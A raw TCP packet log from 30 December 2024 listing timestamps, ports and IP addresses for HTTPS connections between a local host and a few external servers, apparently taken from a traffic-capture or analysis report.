Dec 30, 2024 11:36:25.224478006 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.224556923 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.225303888 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.225357056 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.225451946 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.254123926 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.254178047 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.254281998 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.254350901 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.382443905 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.382489920 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.383514881 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.383558989 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.383971930 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.385030985 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.385051012 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.385811090 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.385848045 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.385871887 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.385894060 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.389970064 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.390027046 CET	443	49894	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.390290976 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.394165993 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.394197941 CET	443	49894	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.398503065 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.398523092 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.434961081 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.435008049 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.435132027 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.435278893 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.454603910 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.454643011 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.454705000 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.456979036 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.456995964 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.459234953 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.459249973 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.459511042 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.459533930 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.459590912 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.460637093 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.460648060 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.835774899 CET	80	49739	69.42.215.252	192.168.2.4
Dec 30, 2024 11:36:25.835840940 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:36:25.994129896 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.994191885 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.994838953 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.994851112 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.996634960 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.996645927 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.996699095 CET	443	49894	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.996757030 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.997014999 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.997025967 CET	443	49894	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.997232914 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.997239113 CET	443	49894	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.058078051 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.058185101 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.058650970 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.058660984 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.058938980 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.058943987 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.068200111 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.068263054 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.068684101 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.068701982 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.068985939 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.068996906 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.364080906 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.364144087 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.364162922 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.364202023 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.364263058 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.364290953 CET	443	49893	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.364340067 CET	49893	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.364979029 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.365015984 CET	443	49898	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.365231037 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.365308046 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.365317106 CET	443	49898	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.374602079 CET	443	49894	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.374659061 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.374768019 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.374823093 CET	443	49894	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.374865055 CET	49894	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.375447989 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.375485897 CET	443	49899	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.375588894 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.375787020 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.375807047 CET	443	49899	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.464782000 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.464845896 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.464973927 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.465013981 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.466602087 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.467868090 CET	49895	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.467869997 CET	49900	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.467886925 CET	443	49895	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.467920065 CET	443	49900	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.468112946 CET	49900	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.468425035 CET	49900	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.468436003 CET	443	49900	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.621360064 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.621433973 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.621572018 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.621607065 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.621990919 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.622255087 CET	49896	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.622272968 CET	443	49896	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.622731924 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.622778893 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.622912884 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.623167038 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:26.623182058 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:26.985132933 CET	443	49898	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.985358953 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.985915899 CET	443	49898	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.986080885 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.987991095 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.988008022 CET	443	49898	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.988312006 CET	443	49898	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:26.988887072 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:26.989125013 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.003433943 CET	443	49899	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.003643036 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.004316092 CET	443	49899	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.004446983 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.005927086 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.005939960 CET	443	49899	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.006208897 CET	443	49899	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.006459951 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.006705046 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.035334110 CET	443	49898	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.047336102 CET	443	49899	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.095777035 CET	443	49900	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.095900059 CET	49900	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.096620083 CET	49900	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.096630096 CET	443	49900	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.098351002 CET	49900	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.098357916 CET	443	49900	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.231823921 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.234419107 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.234787941 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.234798908 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.235025883 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.235029936 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.252305984 CET	49898	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.252343893 CET	49899	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.252345085 CET	49900	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.254477024 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.254515886 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.254646063 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.254962921 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.255002975 CET	443	49905	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.255146027 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.255657911 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.255680084 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.255731106 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.255745888 CET	443	49905	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.666985989 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.667032957 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.667089939 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.667089939 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.667117119 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.667174101 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.667180061 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.667229891 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.667282104 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.667973042 CET	49901	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:27.667990923 CET	443	49901	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:27.855396032 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.855515957 CET	443	49905	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.855622053 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.857719898 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.869370937 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.869391918 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.871150970 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.871175051 CET	443	49905	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.871484041 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.871490955 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:27.872927904 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:27.872941017 CET	443	49905	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.220846891 CET	443	49905	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.220963955 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.221497059 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.221554995 CET	443	49905	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.221626997 CET	49905	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.221951008 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.221996069 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.222068071 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.222302914 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.222315073 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.223651886 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.223695040 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.223767996 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.224148035 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.224164009 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.233691931 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.233761072 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.233779907 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.233834028 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.233921051 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.233959913 CET	443	49904	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.234034061 CET	49904	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.234426975 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.234473944 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.234549046 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.234580994 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.234589100 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.234642982 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.234782934 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.234797001 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.234827995 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.234843969 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.833929062 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.834160089 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.834717989 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.835098028 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.840346098 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.840361118 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.840435982 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.840579033 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.840641022 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.840723038 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.841229916 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.841392994 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.841517925 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.842474937 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.842675924 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.843758106 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.843774080 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.845837116 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.845849037 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.854008913 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.854119062 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.858256102 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.858266115 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.858520985 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:28.858526945 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:28.876205921 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.876226902 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.876601934 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.876861095 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.877609968 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:28.887326002 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:28.923329115 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.205712080 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.205979109 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.206005096 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.206146955 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.206360102 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.206398010 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.206423998 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.206629992 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.215375900 CET	49908	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.215375900 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.215413094 CET	443	49908	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.215425968 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.215531111 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.215747118 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.215761900 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.234321117 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.234456062 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.234474897 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.234529972 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.234731913 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.234776020 CET	443	49906	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.234869003 CET	49906	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.235213995 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.235246897 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.235368013 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.235543966 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.235552073 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.265917063 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.265973091 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.266096115 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.266128063 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.266459942 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.266993999 CET	49907	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.267013073 CET	443	49907	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.267784119 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.267819881 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.268271923 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.268271923 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.268306971 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.421308994 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.421377897 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.421510935 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.421516895 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.422115088 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.422571898 CET	49909	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.422595024 CET	443	49909	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.425086021 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.425131083 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.425199986 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.428721905 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.428754091 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.824021101 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.824090958 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.824779034 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.824857950 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.828541994 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.828553915 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.828808069 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.828866005 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.829289913 CET	49910	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.831969023 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.832066059 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.832770109 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.832839012 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.834602118 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.834608078 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.834832907 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.834876060 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.835289955 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:29.871326923 CET	443	49910	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.875329971 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:29.877427101 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.877551079 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.881757975 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.881767035 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:29.882000923 CET	49912	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:29.882004976 CET	443	49912	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.046842098 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.047107935 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.048717976 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.048723936 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.048983097 CET	49913	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:30.048986912 CET	443	49913	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:30.197935104 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.198052883 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.198144913 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.198172092 CET	443	49911	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.198216915 CET	49911	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.198664904 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.198720932 CET	443	49915	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:30.198786020 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.199115038 CET	49915	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:30.199129105 CET	443	49915	142.250.186.142	192.168.2.4
